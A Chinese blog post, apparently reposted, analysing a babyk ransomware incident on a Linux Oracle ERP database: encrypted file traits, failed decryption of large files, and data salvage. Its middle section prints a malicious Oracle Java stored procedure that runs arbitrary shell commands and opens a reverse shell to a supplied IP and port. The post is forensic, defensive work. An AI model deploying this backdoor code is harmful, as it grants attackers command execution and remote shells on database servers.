暂无图片
暂无图片
1
暂无图片
暂无图片
暂无图片

linux环境数据库文件被系统勒索加密溯源

惜分飞 2026-01-12
73

“ 在很多人的认知里面,操作系统文件被加密勒索是windows的事情,其实在我接触的故障中,就有不少是linux或者是一些虚拟化平台被加密,只是他们没有win系统被加密那么常见,但是也不能掉以轻心”


有一个客户使用了xx厂商的erp软件的Oracle数据库服务被勒索加密(运行在linux平台),而且找人缴了赎金但是由于加密程序bug,导致部分大文件解密失败


文件加密结果

文件名称被加上.babyk,每个目录下面会留下一个README_babyk.txt文件

然后客户找人进行勒索解密,结果对于大于16G左右的文件解密失败.解密失败原因是由于较大文件加密算法问题,导致他们拿到了解密程序也无法解密,具体对于加密文件对比说明:


小文件加密情况

可以发现在加密文件尾部有一些字符串,估计是记录的某种加密信息

大于16g加密文件加密情况

通过对比可以确认文件和占用空间一致,而且尾部没有多出来38byte的字符串的文件是属于解密失败(因为本身加密就不正常)


被勒索加密源头分析

通过解密成功的system01.dbf(所幸小于16g)文件打开库,然后检查数据库中对象,发现一个异常的函数shellrun

    create or replace function shellrun(methodName varchar2,
                                        params     varchar2,
                                        encoding   varchar2) return varchar2 as
    language java name 'ShellUtil.run(java.lang.String,java.lang.String,java.lang.String)
     return java.lang.String';

    进一步分析ShellUtil中内容

      create or replace and compile java source named "ShellUtil" as
      import java.io.*;
      import java.net.Socket;
      import java.util.concurrent.RecursiveTask;
       
      public class ShellUtil extends Object{
          public static String run(String methodName, String params, String encoding) {
              String res = "";
              if (methodName.equals("exec")) {
                  res = ShellUtil.exec(params, encoding);
              }else if (methodName.equals("connectback")) {
                  String ip = params.substring(0, params.indexOf("^"));
                  String port = params.substring(params.indexOf("^") + 1);
                  res = ShellUtil.connectBack(ip, Integer.parseInt(port));
              }else {
                  res = "unkown methodName";
              }
              return res;
          }
       
          public static String exec(String command, String encoding) {
              StringBuffer result = new StringBuffer();
              try {
                  String[] finalCommand;
                  if (System.getProperty("os.name").toLowerCase().contains("windows")) {
                      String systemRootvariable;
                      try {
                          systemRootvariable = System.getenv("SystemRoot");
                      }
                      catch (ClassCastException e) {
                          systemRootvariable = System.getProperty("SystemRoot");
                      }
                      finalCommand = new String[3];
                      finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
                      finalCommand[1] = "/c";
                      finalCommand[2] = command;
                  } else { // Linux or Unix System
                      finalCommand = new String[3];
                      finalCommand[0] = "/bin/sh";
                      finalCommand[1] = "-c";
                      finalCommand[2] = command;
                  }
                  BufferedReader readerIn = null;
                  BufferedReader readerError = null;
                  try {
                      readerIn = new BufferedReader(new InputStreamReader
                          (Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
                      String stemp = "";
                      while ((stemp = readerIn.readLine()) != null){
                          result.append(stemp).append("\n");
                      }
                  }catch (Exception e){
                      result.append(e.toString());
                  }finally {
                      if (readerIn != null) {
                          readerIn.close();
                      }
                  }
                  try {
                      readerError = new BufferedReader(new InputStreamReader
                    (Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
                      String stemp = "";
                      while ((stemp = readerError.readLine()) != null){
                          result.append(stemp).append("\n");
                      }
                  }catch (Exception e){
                      result.append(e.toString());
                  }finally {
                      if (readerError != null) {
                          readerError.close();
                      }
                  }
              } catch (Exception e) {
                  result.append(e.toString());
              }
              return result.toString();
          }
       
          public static String connectBack(String ip, int port) {
              class StreamConnector extends Thread {
                  InputStream sp;
                  OutputStream gh;
       
                  StreamConnector(InputStream sp, OutputStream gh) {
                      this.sp = sp;
                      this.gh = gh;
                  }
                  @Override
                  public void run() {
                      BufferedReader xp = null;
                      BufferedWriter ydg = null;
                      try {
                          xp = new BufferedReader(new InputStreamReader(this.sp));
                          ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                          char buffer[] = new char[1024];
                          int length;
                          while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                              ydg.write(buffer, 0, length);
                              ydg.flush();
                          }
                      } catch (Exception e) {}
                      try {
                          if (xp != null) {
                              xp.close();
                          }
                          if (ydg != null) {
                              ydg.close();
                          }
                      } catch (Exception e) {
                      }
                  }
              }
              try {
                  String sp;
                  if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                      sp = new String("/bin/sh");
                  } else {
                      sp = new String("cmd.exe");
                  }
                  Socket sk = new Socket(ip, port);
                  Process ps = Runtime.getRuntime().exec(sp);
                  (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
                  (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
              } catch (Exception e) {
              }
              return "^OK^";
          }
      }

      这些程序的创建时间分析

      这些程序都是4月24日14:58:40-14:58:50之间创建,通过咨询客户,客户的应用在4月24日上午进行了升级.基于上述情况,初步怀疑是通过应用给数据库层面注入了恶意脚本,创建了函数和一些java包,实现提权获取了操作系统权限,然后对操作系统文件进行加密.最终结论需要等应用和安全厂商进行确认


      最终恢复处理

      部分比较大的文件解密失败,数据库肯定无法正常open,通过分析无法解密的文件大概有10%左右block无法处理,最终通过扫描block提取数据实现最大程度帮客户抢救数据。


      再次提醒:防勒索病毒不是只是windows系统的事情,也需要关注linux等其他系统的安全防护,尽可能做到离线备份

      文章转载自惜分飞,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

      评论